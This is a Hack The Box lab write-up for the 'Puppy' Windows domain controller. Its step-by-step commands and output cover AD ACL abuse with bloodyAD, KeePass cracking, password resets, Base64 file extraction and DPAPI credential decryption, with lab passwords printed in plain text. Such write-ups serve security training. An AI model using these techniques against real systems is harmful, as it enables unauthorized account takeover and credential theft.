Skip to content

HTB Puppy writeup

A technical writeup for educational purposes, covering only an authorized, isolated Hack The Box lab.

Starting with the supplied credentials for PUPPY.HTB\levi.james, I examined Active Directory group ACLs. Because HR could modify the membership attribute of DEVELOPERS, I gained access to a development SMB share and recovered valid credentials for ant.edwards from a KeePass database. I used ant.edwards’s GenericAll over adam.silver to change the password, cleared ACCOUNTDISABLE on the disabled account, and gained a WinRM foothold. An LDAP bind password in a backup let me move to steph.cooper. I then decrypted that user’s DPAPI Master Key and Enterprise Credential Blob to obtain credentials for steph.cooper_adm. Finally, I read C:\Users\Administrator\Desktop\root.txt from a WinRM session as that account. Because whoami and group membership were not recorded in the final session, I do not assert that steph.cooper_adm was a Domain Admin or NT AUTHORITY\SYSTEM.

ItemValue
BoxPuppy
PlatformHack The Box
OSWindows Server 2022 Build 20348 (confirmed by SMB/LDAP enumeration; Nmap’s OS detection also indicated Windows Server 2022)
DifficultyMedium
Operator
|
| supplied PUPPY.HTB\levi.james credential; SMB/LDAP + RustHound collection
v
levi.james (member of HR)
|
| HR --GenericWrite--> DEVELOPERS; bloodyAD add groupMember
v
levi.james (member of DEVELOPERS; DEV share READ)
|
| SMB read recovery.kdbx -> KDBX4 password recovery -> ant.edwards credential
v
ant.edwards
|
| Senior Devs --GenericAll--> adam.silver; set password and clear ACCOUNTDISABLE
v
adam.silver WinRM (Kerberos; user.txt)
|
| read C:\Backups\site-backup-2024-12-30.zip -> LDAP bind password
v
steph.cooper WinRM (Kerberos)
|
| DPAPI user Master Key + Enterprise Credential Blob decryption
v
steph.cooper_adm credential
|
| Kerberos TGT -> WinRM; read Administrator profile desktop
v
C:\Users\Administrator\Desktop\root.txt readable
ItemValue
Hostname / domainDC / PUPPY.HTB

I used the following mapping for name resolution. Its location within /etc/hosts was not recorded, but it was needed for Kerberos and WinRM connections by FQDN.

10.129.232.75 DC.PUPPY.HTB PUPPY.HTB DC

I ran the initial scan of all TCP ports as follows. The output was saved with the shell’s > operator when it was run, but I omit the destination path because it does not affect reproducibility.

Terminal window
nmap -sS -A -p- --min-rate 10000 10.129.232.75

Only the important output is retained here.

53/tcp open domain
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB)
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open ncacn_http
636/tcp open tcpwrapped
2049/tcp open nlockmgr
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0
Service Info: Host: DC; OS: Windows
| smb2-security-mode:
|_ Message signing enabled and required
|_clock-skew: 6h58m38s

The points to note are:

  • DNS, Kerberos, LDAP/Global Catalog, SMB, and WinRM run together, so this should be treated as an AD environment with a DC rather than a standalone Windows host.
  • SMB signing is required, so I did not make SMB relay the first option. I prioritized authenticated SMB enumeration and share ACLs.
  • Kerberos is sensitive to time differences. The scan showed about seven hours of skew, so the time should be checked again before obtaining tickets. However, the recorded time synchronization command named a different host, certified.htb; the record does not directly prove synchronization with Puppy.
  • An open 5985/tcp does not mean that any domain user can connect over WinRM. Authorization, such as membership in Remote Management Users, and valid NTLM/Kerberos authentication must be checked separately.
  • RPC/NFS-related ports 111/2049 and iSCSI on 3260/tcp were also visible, but there is no record of using them on this path.

Initial Enumeration and AD Relationship Mapping

Section titled “Initial Enumeration and AD Relationship Mapping”

Prerequisite: levi.james / KingofAkron2025! was supplied at the start. It was not guessed or obtained by password spraying.

Authenticated enumeration showed that both SMB and LDAP accepted these credentials, and identified the DC’s OS, domain, and shares. The enumeration script ran the following three NetExec commands. Here, $1 is shown as dc.puppy.htb (puppy.htb would also work). users.txt and passwords.txt were inputs to the script; their complete contents at the start were not recorded.

Terminal window
nxc smb dc.puppy.htb -u users.txt -p passwords.txt --generate-hosts-file hosts
nxc smb dc.puppy.htb -u users.txt -p passwords.txt --shares --rid-brute
nxc ldap dc.puppy.htb -u users.txt -p passwords.txt --users --group

The first line checks SMB authentication and generates a hosts mapping for later use of the FQDN. The second enumerates share permissions and user/group SIDs from RIDs. The third checks LDAP authentication and retrieves domain users and groups. Because the full starting contents of users.txt / passwords.txt were not recorded, the scope of any guessing cannot be asserted. At a minimum, the output shows that SMB/LDAP accepted the supplied levi.james / KingofAkron2025! credentials, which could then be used for service and directory enumeration.

SMB [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB)
SMB [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB Share Permissions Remark
SMB DEV DEV-SHARE for PUPPY-DEVS
SMB IPC$ READ
SMB NETLOGON READ
SMB SYSVOL READ
LDAP [+] PUPPY.HTB\levi.james:KingofAkron2025!
LDAP [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB) (signing:None) (channel binding:No TLS cert)
LDAP [*] Enumerated 9 domain users: PUPPY.HTB
LDAP Remote Management Users 2
LDAP HR 1
LDAP SENIOR DEVS 1
LDAP DEVELOPERS 3

At this point, DEV did not show READ. Finding a share name and being able to read the share must therefore be treated separately. Authenticated enumeration over plaintext LDAP on 389/tcp also provided a basis for the subsequent AD information gathering.

RustHound / BloodHound: examine attributes and ACLs, not just a “path”

Section titled “RustHound / BloodHound: examine attributes and ACLs, not just a “path””

Execution context: I used levi.james’s domain credentials on the attacking machine.

Terminal window
rusthound-ce -d puppy.htb -f dc.puppy.htb -u levi.james -p 'KingofAkron2025!' -c All --zip
Connected to PUPPY.HTB Active Directory!
All data collected for NamingContext DC=PUPPY,DC=HTB
10 users parsed!
64 groups parsed!
1 computers parsed!
3 ous parsed!
1 domains parsed!
3 gpos parsed!

From the BloodHound display and recorded relationships, I identified the following attack candidates.

levi.james --MemberOf--> HR
HR --GenericWrite--> DEVELOPERS
DEVELOPERS --MemberOf/contains--> ant.edwards, adam.silver, jamie.williams
ant.edwards --MemberOf--> SENIOR DEVS
SENIOR DEVS --GenericAll--> adam.silver
adam.silver --MemberOf--> Remote Management Users

Of these, the first two edges were confirmed by the later successful add groupMember and a new membership check. The SENIOR DEVS -> adam.silver edge was confirmed by the later successful password and userAccountControl changes. The BloodHound query name, raw output for each ACE, and individual membership list for Remote Management Users were not recorded. I relied on actual LDAP changes and logons rather than the graph alone.

The record includes an attempt to synchronize the clock, but the target was certified.htb, not dc.puppy.htb. I therefore do not claim that the clock was synchronized to Puppy. The later TGT issuance and use are confirmed, but it is unknown whether a time correction enabled them.

ACL-guided Group Membership and Developer Share

Section titled “ACL-guided Group Membership and Developer Share”

Prerequisite: levi.james belonged to HR, and collection had shown that HR had GenericWrite over DEVELOPERS. If the group’s member attribute is writable, adding a member changes that attribute; it does not change the group’s owner.

State change — acting principal: PUPPY.HTB\levi.james.

Terminal window
bloodyad -d puppy.htb --host dc.puppy.htb -u levi.james -p 'KingofAkron2025!' add groupMember Developers levi.james
[+] levi.james added to Developers

I read the membership again immediately afterward.

Terminal window
bloodyad -d puppy.htb --host dc.puppy.htb -u levi.james -p 'KingofAkron2025!' get membership levi.james
distinguishedName: CN=HR,DC=PUPPY,DC=HTB
sAMAccountName: HR
distinguishedName: CN=DEVELOPERS,DC=PUPPY,DC=HTB
sAMAccountName: DEVELOPERS

This confirmed membership in DEVELOPERS. There is, however, no recorded LDAP output directly showing that the account was not a member of DEVELOPERS before the change. The successful add groupMember message should not be confused with taking ownership of the group or gaining permission to write arbitrary attributes of ant.edwards.

Checking the shares again with the same credentials showed READ on DEV.

Terminal window
nxc smb dc.puppy.htb -u levi.james -p 'KingofAkron2025!' --shares
SMB [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB Share Permissions Remark
SMB DEV READ DEV-SHARE for PUPPY-DEVS

I listed the share contents over SMB and retrieved the database.

Terminal window
smbclient -U 'puppy.htb/levi.james%KingofAkron2025!' --realm=puppy.htb //dc.puppy.htb/DEV
smb: \> ls
KeePassXC-2.7.9-Win64.msi A 34394112
Projects D 0
recovery.kdbx A 2677
smb: \> get recovery.kdbx
getting file \recovery.kdbx of size 2677 as recovery.kdbx

Interpretation: The small, explicitly named recovery.kdbx was a more likely source of stored credentials than the large installer. Gaining read access to the share provided the basis for the next credential recovery step.

Decrypting KDBX4 and verifying ant.edwards

Section titled “Decrypting KDBX4 and verifying ant.edwards”

The first tool I tried, keepass2john, could not handle KDBX header version 40000.

Terminal window
keepass2john recovery.kdbx > recovery.hash
! recovery.kdbx : File version '40000' is currently not supported!

This output reflects a compatibility difference: the installed keepass2john did not handle KDBX4. It does not show that no password existed. I switched to the KDBX4-compatible keepass4brute.

Terminal window
./keepass4brute.sh recovery.kdbx /usr/share/wordlists/rockyou.txt
[+] Current attempt: liverpool
[*] Password found: liverpool

I then printed the entries with the official KeePassXC CLI executable.

Terminal window
keepassxc-cli export --format csv recovery.kdbx
"Group","Title","Username","Password","URL"
"Root","JAMIE WILLIAMSON","","JamieLove2025!","puppy.htb"
"Root","ADAM SILVER","","HJKL2025!","puppy.htb"
"Root","ANTONY C. EDWARDS","","Antman2025!","puppy.htb"
"Root","STEVE TUCKER","","Steve2025!","puppy.htb"
"Root","SAMUEL BLAKE","","ILY2025!","puppy.htb"

An entry’s display name does not necessarily match an AD sAMAccountName. I tested combinations against the enumerated domain users, and the only combination usable on this path was the following.

Terminal window
nxc smb dc.puppy.htb -u ant.edwards -p 'Antman2025!'
SMB [+] PUPPY.HTB\ant.edwards:Antman2025!

In this guessing output, ADAM SILVER / HJKL2025! produced PUPPY.HTB\adam.silver:HJKL2025! STATUS_LOGON_FAILURE. I therefore do not treat it as adam.silver’s original password. The other three entries were not verified as valid for this attack path either.

An SPN attempt that exposed the ACL boundary through failure

Section titled “An SPN attempt that exposed the ACL boundary through failure”

Based on the description of GenericWrite, I tried to change ant.edwards’s servicePrincipalName, but it failed.

Terminal window
bloodyad -d puppy.htb --host dc.puppy.htb -u levi.james -p 'KingofAkron2025!' set object ant.edwards servicePrincipalName -v 'http/ant-test.puppy.htb'
LDAPModifyException: insufficientAccessRights for CN=Anthony J. Edwards,DC=PUPPY,DC=HTB
ERROR_DS_INSUFF_ACCESS_RIGHTS

This failure confirmed that levi.james changing the membership attribute of the DEVELOPERS group and changing the SPN on the ant.edwards user object are governed by different ACLs. Adding an SPN or Kerberoasting was not part of the successful path.

The tool names also matter. The tool used in this record was keepassxc-cli; there is no record of running kpxc-cli. They should not be assumed to be the same official CLI. Next time, check command -v keepassxc-cli kpxc-cli and keepassxc-cli --version first to match the KDBX version to a compatible tool. The exact versions of keepass2john and the KeePassXC CLI were not recorded.

ant.edwards to adam.silver: GenericAll, Account State, and WinRM

Section titled “ant.edwards to adam.silver: GenericAll, Account State, and WinRM”

Prerequisite: ant.edwards / Antman2025! had authenticated over SMB, and the BloodHound relationship showed GenericAll over adam.silver through SENIOR DEVS.

State change — acting principal: PUPPY.HTB\ant.edwards. GenericAll gives broad control over the target user and was used here to change the password.

Terminal window
bloodyad -d puppy.htb --host dc.puppy.htb -u ant.edwards -p 'Antman2025!' set password adam.silver 'HappyPwn2026!'
[+] Password changed successfully!

This output proves that the new password was set. The previous password was not recorded, so a value such as HJKL2025! must not be guessed as the original.

NTLM WinRM failed immediately after the change.

Terminal window
evil-winrm-py -i dc.puppy.htb -u adam.silver -p HappyPwn2026!
[*] Connecting to 'dc.puppy.htb:5985' as 'adam.silver'
[-] Failed to authenticate the user adam.silver with ntlm

A subsequent Kerberos TGT request received a KDC response that the account was revoked.

Terminal window
getTGT.py PUPPY.HTB/adam.silver:HappyPwn2026!
Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)

Instead of assuming that the password was wrong, I read the state of the target account object.

Terminal window
bloodyAD -d puppy.htb -u ant.edwards -p 'Antman2025!' --host dc.puppy.htb get object adam.silver --attr userAccountControl
distinguishedName: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB
userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD

ACCOUNTDISABLE is the account-disabled bit of userAccountControl. KDC_ERR_CLIENT_REVOKED is consistent with this attribute. The server did not return a detailed reason for the NTLM failure, but the disabled state was directly confirmed as the reason the account could not be used with Kerberos.

State change — acting principal: Still PUPPY.HTB\ant.edwards.

Terminal window
bloodyad -d puppy.htb --host dc.puppy.htb -u ant.edwards -p 'Antman2025!' remove uac adam.silver -f ACCOUNTDISABLE
[+] ['ACCOUNTDISABLE'] property flags removed from adam.silver's userAccountControl

I checked the attribute again.

Terminal window
bloodyAD -d puppy.htb -u ant.edwards -p 'Antman2025!' --host dc.puppy.htb get object adam.silver --attr userAccountControl
userAccountControl: NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD

This shows that only ACCOUNTDISABLE was cleared, while NORMAL_ACCOUNT and DONT_EXPIRE_PASSWORD remained. The UAC state change was needed in addition to the password reset.

After explicitly setting the Kerberos realm/KDC to PUPPY.HTB / dc.puppy.htb, I connected with adam.silver’s ccache. Standard output from the successful post-enablement getTGT.py run was not saved, but the subsequent acceptance of the ccache and the remote PowerShell prompt confirm the result.

Terminal window
evil-winrm -i dc.puppy.htb -r puppy.htb --ccache adam.silver.ccache
Info: Using ccache Kerberos ticket file: adam.silver.ccache
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adam.silver\Documents>

The environment also printed bad interpreter: /usr/bin/ruby3.1 and a Ruby warning about remote completion, but the connection continued as shown above. These environment warnings should not be mistaken for authentication failures.

I confirmed the initial foothold as follows.

Terminal window
*Evil-WinRM* PS C:\Users\adam.silver\Desktop> type user.txt
[REDACTED]

The record does not establish the claim that a TGT belonging to a user without WinRM rights caused a failure. adam.silver ultimately connected to WinRM with a ccache, and steph.cooper’s initial failure, as described in the next section, was due to a missing ccache. There is no recorded output such as Access is denied for a valid TGT that would show insufficient authorization.

Windows Foothold Enumeration and the Backup Credential

Section titled “Windows Foothold Enumeration and the Backup Credential”

Narrowing the search in adam.silver’s context

Section titled “Narrowing the search in adam.silver’s context”

Execution context: A Kerberos-authenticated WinRM session as PUPPY\adam.silver.

Terminal window
*Evil-WinRM* PS C:\Users\adam.silver\Desktop> whoami
*Evil-WinRM* PS C:\Users\adam.silver\Desktop> whoami /priv
puppy\adam.silver
Privilege Name Description State
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

This privilege list does not include SeImpersonatePrivilege or another privilege pointing to immediate SYSTEM elevation. I therefore focused on readable stored material and application-related directories rather than token elevation.

I first checked only the root of C:\. The recorded input was ls C:\; below, I use the full name of the same PowerShell alias.

Terminal window
Get-ChildItem C:\
Directory: C:\
Backups
inetpub
PerfLogs
Program Files
Program Files (x86)
StorageReports
Users
Windows

I prioritized C:\Backups because its name suggests backups, configuration, or old source; C:\inetpub for IIS/application files; and C:\StorageReports because its name appeared more application-specific than a standard directory. I also checked PerfLogs, but it produced nothing relevant to this path.

Terminal window
$targets = @(
'C:\Backups',
'C:\inetpub',
'C:\PerfLogs',
'C:\StorageReports'
)
Get-ChildItem $targets -Recurse -Force -ErrorAction SilentlyContinue
Directory: C:\Backups
-a---- 4639546 site-backup-2024-12-30.zip
Directory: C:\inetpub\DeviceHealthAttestation\bin
-a---- 208896 hassrv.dll
Directory: C:\StorageReports
d----- Scheduled

Interpretation and resulting state: C:\Backups\site-backup-2024-12-30.zip became a specific, readable 4.6 MB target. The hassrv.dll in inetpub and empty StorageReports\Scheduled yielded no credentials, write permissions, or tasks usable in this record. There is no record of scanning all of C:\ with -Recurse. That was the right choice: recursively scanning Windows/WinSxS/Program Files would increase noise, time, and audit traces. I started at the root and narrowed the search to meaningful nonstandard directories before going deeper where needed.

Obtaining an LDAP bind password from the backup

Section titled “Obtaining an LDAP bind password from the backup”

Prerequisite: Files were readable from the adam.silver WinRM session.

Terminal window
*Evil-WinRM* PS C:\Backups> download site-backup-2024-12-30.zip
Info: Downloading C:\Backups\site-backup-2024-12-30.zip
Info: Download successful!

The command used to extract the archive was not recorded. The search for configuration containing passwords in its extracted contents returned the following.

Terminal window
grep -rl password .
nms-auth-config.xml.bak
assets/js/util.js
assets/js/jquery.min.js
assets/css/main.css
assets/sass/main.scss

Instead of generic JavaScript/CSS matches, I examined the LDAP configuration backup.

Terminal window
cat nms-auth-config.xml.bak
<ldap-config>
<server>
<host>DC.PUPPY.HTB</host>
<port>389</port>
<base-dn>dc=PUPPY,dc=HTB</base-dn>
<bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
<bind-password>ChefSteph2025!</bind-password>
</server>
</ldap-config>

This is direct evidence of the plaintext LDAP bind credentials steph.cooper / ChefSteph2025!. I verified that they worked over SMB.

Terminal window
nxc smb dc.puppy.htb -u steph.cooper -p 'ChefSteph2025!'
SMB [+] PUPPY.HTB\steph.cooper:ChefSteph2025!

Connecting as steph.cooper with an explicit Kerberos ccache

Section titled “Connecting as steph.cooper with an explicit Kerberos ccache”

The next attempt selected Kerberos with -r puppy.htb, but no usable ticket was available.

Terminal window
evil-winrm -i dc.puppy.htb -r puppy.htb -u steph.cooper -p 'ChefSteph2025!'
Warning: User is not needed for Kerberos auth. Ticket will be used
Warning: Password is not needed for Kerberos auth. Ticket will be used
No Kerberos credentials available (default cache: FILE:/tmp/krb5cc_1000)

This failure did not mean that the password was wrong or WinRM authorization was lacking; it showed that no ccache was available for the selected Kerberos authentication. I obtained a TGT and explicitly selected the resulting ccache.

Terminal window
getTGT.py PUPPY.HTB/steph.cooper:ChefSteph2025!
evil-winrm -i dc.puppy.htb -r puppy.htb --ccache steph.cooper.ccache
[*] Saving ticket in steph.cooper.ccache
Info: Using ccache Kerberos ticket file: steph.cooper.ccache
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\steph.cooper\Documents>

BloodHound also recorded steph.cooper as a member of Remote Management Users, but this prompt is the direct, subsequent confirmation of successful WinRM access.

The recorded commands mix ls, type, and Get-ChildItem. In PowerShell, ls is an alias for Get-ChildItem and type for Get-Content. For reuse, prefer the full cmdlet names and -LiteralPath.

Terminal window
# Form used here: recursively list only candidate directories, including hidden items
Get-ChildItem $targets -Recurse -Force -ErrorAction SilentlyContinue
# Full cmdlet name for the recorded `type user.txt` / `type root.txt` reads
Get-Content -LiteralPath 'C:\Users\adam.silver\Desktop\user.txt'
# Only when a filename such as a flag is known, limit the search to Users
Get-ChildItem -LiteralPath 'C:\Users' -Filter 'root.txt' -Recurse -Force -ErrorAction SilentlyContinue

There is no record of running Out-File on the target. ... | Out-File -Encoding utf8 <file> could be useful for saving standard output, but it must not be presented as a command run here. Shell redirection was used to save Nmap output and, later, for Base64 decoding.

DPAPI: Credentials, Protect\<SID>, Master Key, and Credential Blob

Section titled “DPAPI: Credentials, Protect\<SID>, Master Key, and Credential Blob”

Credentials saved in Windows Credential Manager are stored as Credential Blobs in the Credentials directory. A Blob alone is normally unreadable. The Blob records which Master Key it uses, and that Master Key file resides under Protect\<SID> for the user’s SID. The sequence is to decrypt the Master Key with the user’s logon secret (here, steph.cooper’s password) and SID, then use the resulting key to read the Blob.

The relationships in this case are as follows.

TypeLocation on the targetConfirmed meaning
SIDS-1-5-21-1487982659-1829050783-2281216199-1107Name of steph.cooper’s Protect directory
Master Key fileC:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407740-byte DPAPI Master Key file
Local Credential BlobC:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D11068 bytes, Local Credential Data
Enterprise Credential BlobC:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9414 bytes, Enterprise Credential Data

winPEAS reported that this Master Key and both Credential Blobs referenced the same GUID, 556a2412-1275-4ccf-b721-e6a0b4f90407.

MasterKey: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407
CredFile: ...\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
Description: Local Credential Data
MasterKey: 556a2412-1275-4ccf-b721-e6a0b4f90407
CredFile: ...\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9
Description: Enterprise Credential Data
MasterKey: 556a2412-1275-4ccf-b721-e6a0b4f90407

Of winPEAS’s extensive output, this DPAPI relationship was the only observation used. A Protect\...-1105 directory also appeared for adam.silver, but the output did not show a Master Key or credential file under it, so it was not used on this path.

Checking hidden files and working around Evil-WinRM download failures

Section titled “Checking hidden files and working around Evil-WinRM download failures”

In the steph.cooper WinRM context, I checked the candidate files’ existence and sizes with ls -Hidden. Below, I use the full Get-ChildItem name for the same alias.

Terminal window
Get-ChildItem -Hidden 'C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407'
Get-ChildItem -Hidden 'C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D'
Get-ChildItem -Hidden 'C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9'
556a2412-1275-4ccf-b721-e6a0b4f90407 -a-hs- 740
DFBE70A7E5CC19A398EBF1B96859CE5D -a-hs- 11068
C8D69EBE9A43E9DEBF6B5FBD48B521B9 -a-hs- 414

Evil-WinRM’s download produced the following error when given a directory as its destination.

Error: Download failed. Check filenames or paths: Is a directory @ rb_sysopen

Specifying an individual filename also failed in this environment with a Ruby-side exception.

Error: Download failed. Check filenames or paths: uninitialized constant WinRM::FS::FileManager::EstandardError

The workaround I used was to Base64-encode the bytes on the target and reconstruct them on the attacking machine. This let me copy the binary data as text and worked for all three files.

Terminal window
[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9'))
[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D'))
[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407'))
Terminal window
echo '<base64 text>' | base64 -d > <file name>

Base64 increases the size and can lose data through copy/paste errors. An untried alternative would be to copy from the target to a reachable SMB/HTTP(S) share on the attacking machine. That would require separate checks of outbound connectivity, credentials, and the transferred file’s hash, so it is distinct from the successful method used here.

Prerequisite: I had steph.cooper / ChefSteph2025!, that user’s SID, and the Master Key file. The Master Key’s GUID matched the GUID referenced by the Blob.

Terminal window
dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -sid S-1-5-21-1487982659-1829050783-2281216199-1107 -password 'ChefSteph2025!'
[MASTERKEYFILE]
Version : 2 (2)
Guid : 556a2412-1275-4ccf-b721-e6a0b4f90407
MasterKeyLen: 00000088 (136)
DomainKeyLen: 00000174 (372)
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84

This shows that I did more than obtain the Master Key file: I successfully decrypted it with steph.cooper’s user secret. The output shows that a DomainKey exists, but there is no record of obtaining or using the domain backup key, so I do not claim it was used on this path.

Using the decrypted key to read the Local Credential Blob returned the following stored information.

Terminal window
dpapi.py credential -file DFBE70A7E5CC19A398EBF1B96859CE5D -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
Persist : 0x00000002 (CRED_PERSIST_LOCAL_MACHINE)
Type : 0x00000001 (CRED_TYPE_GENERIC)
Target : WindowsLive:target=virtualapp/didlogical
Description : PersistedCredential
Username : 02vpdyzbbgyaqelf

The output did not show a password usable in this attack. I do not infer credentials from the meaning of the Username string or the subsequent Data field.

Reading the Enterprise Credential Blob with the same key yielded a domain password.

Terminal window
dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target : Domain:target=PUPPY.HTB
Username : steph.cooper_adm
Unknown : FivethChipOnItsWay2025!

This Blob was the sole source of steph.cooper_adm / FivethChipOnItsWay2025!. The Master Key, Blob, decryption method, and result were all recorded, so this transition is not speculative.

Final Access: steph.cooper_adm and Administrator Desktop

Section titled “Final Access: steph.cooper_adm and Administrator Desktop”

Prerequisite: Credentials for steph.cooper_adm obtained from the Enterprise Credential Blob.

Terminal window
getTGT.py PUPPY.HTB/steph.cooper_adm:FivethChipOnItsWay2025!
evil-winrm -i dc.puppy.htb -r puppy.htb --ccache steph.cooper_adm.ccache
[*] Saving ticket in steph.cooper_adm.ccache
Info: Using ccache Kerberos ticket file: steph.cooper_adm.ccache
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\steph.cooper_adm\Documents>

There was no flag on this account’s Desktop, so I limited the search to C:\Users rather than the whole drive.

Terminal window
Get-ChildItem C:\Users -Filter root.txt -Recurse -Force -ErrorAction SilentlyContinue
Directory: C:\Users\Administrator\Desktop
Mode Length Name
---- ------ ----
-ar--- 34 root.txt

In the same session, I could move to and read the Administrator profile. The recorded input is shown without modification.

Terminal window
*Evil-WinRM* PS C:\Users\steph.cooper_adm> cd C:\Users\Administrator\Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
[REDACTED]

Confirmed resulting state: A Kerberos ticket for steph.cooper_adm provided a WinRM session in which C:\Users\Administrator\Desktop\root.txt could be read.

Unconfirmed: The final session did not record whoami, whoami /groups, or whoami /priv. The account’s exact administrative groups, why it could read the Administrator Desktop ACL, and whether it gained SYSTEM privileges are therefore unknown. Reading the HTB root flag is confirmed, but I do not fill in an unverified privilege name.

  • Although levi.james could change the DEVELOPERS member attribute, it could not change ant.edwards’s servicePrincipalName. ERROR_DS_INSUFF_ACCESS_RIGHTS showed that a different ACL governed the target, so there was no reason to continue with SPN addition or Kerberoasting.
  • keepass2john’s File version '40000' is currently not supported! was a KDBX4 compatibility issue. Failure to extract a hash should not be taken to mean the database contained nothing useful.
  • The evil-winrm -r ... -u ... -p ... failure was No Kerberos credentials available. With -r, the tool used a ticket rather than the supplied user/password, so explicitly selecting a ccache resolved the problem.
  • Evil-WinRM’s download failed both when given a directory as the destination and with the Ruby EstandardError exception. The problem was the transfer feature, not the absence of DPAPI files.
  • There is no record of indiscriminately running Get-ChildItem -Recurse over all of C:\. Next time, start with the root listing and narrow the search to grounded candidates such as Backups, application/Web roots, reports, and user profiles. A full recursive scan increases noise, time, and access-denied errors.

This path changed AD state in three places. There is no recorded output showing that restoration was completed.

TargetBefore changeChanged and confirmed stateRestoration methodRestoration verified
DEVELOPERS member attributeNo direct record of whether levi.james was already a memberlevi.james appeared in DEVELOPERSUnexecuted restoration candidate: bloodyad ... remove groupMember Developers levi.jamesUnconfirmed
adam.silver passwordNot recorded. HJKL2025! failed validation and is not the original valueSetting HappyPwn2026! succeededThe original value was not recorded, so it cannot be specified safely. Reset the lab or have an administrator set the correct old value.Unconfirmed
adam.silver.userAccountControlACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORDNORMAL_ACCOUNT; DONT_EXPIRE_PASSWORDUnexecuted restoration candidate: bloodyad ... add uac adam.silver -f ACCOUNTDISABLE. Then verify with get object ... --attr userAccountControl.Unconfirmed

The ... placeholders take the domain, host, and authentication options for the acting principal at the time of each operation. The restoration candidates above are not commands that were run. In particular, do not guess the original password to restore it. There is no record of uploading files to the target, changing services or tasks, or creating a new group.

The following is retained unmasked for private study. For each credential, distinguish its source, associated account, first use, and access obtained.

ValueSource / targetFirst useConfirmed access and notes
levi.james / KingofAkron2025!Supplied at the start / PUPPY.HTB\levi.jamesAuthenticated SMB/LDAP enumerationEnabled RustHound collection, self-addition to DEVELOPERS, and read access to the share
liverpoolPassword recovery for recovery.kdbxkeepassxc-cli exportUsed to decrypt the KeePass database; not domain account credentials
ant.edwards / Antman2025!KeePass ANTONY C. EDWARDS entry / verified over SMB as ant.edwardsbloodyad set password adam.silver ...Could change adam.silver’s password and UAC
adam.silver / HappyPwn2026!Value set by the attacker with GenericAll / PUPPY.HTB\adam.silverNTLM WinRM attempt (failed)After enabling the account, WinRM and reading user.txt succeeded with a ccache. These were not the original credentials.
steph.cooper / ChefSteph2025!LDAP bind password in nms-auth-config.xml.bak inside the backup / PUPPY.HTB\steph.coopergetTGT.py after SMB verificationWinRM through a ccache and reading DPAPI files succeeded
0xd9a570...e9c84Decrypted steph.cooper’s Master Key file with the SID and the password abovedpapi.py credentialDecrypted Master Key result. It is a key for decrypting a Credential Blob, not a logon password.
steph.cooper_adm / FivethChipOnItsWay2025!DPAPI-decrypted Enterprise Credential Blob belonging to steph.cooper / PUPPY.HTB\steph.cooper_admgetTGT.pyWinRM access and reading Administrator\Desktop\root.txt succeeded

